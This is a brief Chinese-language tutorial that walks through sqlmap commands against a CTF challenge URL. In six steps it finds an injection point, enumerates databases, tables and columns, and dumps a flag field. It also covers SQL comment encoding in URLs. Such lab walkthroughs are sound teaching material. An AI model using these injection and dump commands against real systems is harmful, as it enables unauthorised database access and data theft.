sqlmap基本操作流程介绍

sqlmap基本操作流程介绍

1. 先运行sqlmap，判断是否有注入点：

   sqlmap -u http://9941f023-d63d-42f9-8900-4a2083e55c2d.node5.buuoj.cn:81/index.php?id=1

2. 判断有哪些数据库：

   sqlmap -u http://9941f023-d63d-42f9-8900-4a2083e55c2d.node5.buuoj.cn:81/index.php?id=1 --dbs

3. 查看当前用的是哪个数据库：

   sqlmap -u http://9941f023-d63d-42f9-8900-4a2083e55c2d.node5.buuoj.cn:81/index.php?id=1 --current -db（紧跟不要有空格：--current-db，查询出当前数据库是：note）

4. 查看当前数据库里有哪些表：

   sqlmap -u http://9941f023-d63d-42f9-8900-4a2083e55c2d.node5.buuoj.cn:81/index.php?id=1 --tables -D note（这里得出note数据库里有2张表：fl4g和notes）

5. 查看当前表里有哪些字段（数据库是note，表是fl4g）

   sqlmap -u http://9941f023-d63d-42f9-8900-4a2083e55c2d.node5.buuoj.cn:81/index.php?id=1 --columns -T fl4g -D note（查询出字段是：fllllag ）

6. 最后，用dump下载数据（它会生成一个目录和一个csv文件）：

   sqlmap -u http://9941f023-d63d-42f9-8900-4a2083e55c2d.node5.buuoj.cn:81/index.php?id=1 --dump -C fllllag -T fl4g -D note

注意事项

1. sqlmap利用Python开发，运行sqlmap需要有Python环境，推荐在Kali中使用。
2. 注释符--+：
   1. 注释符#在URL中需要编码为%23
   2. 在URL中通常使用--+来代替#，+是空格的URL编码。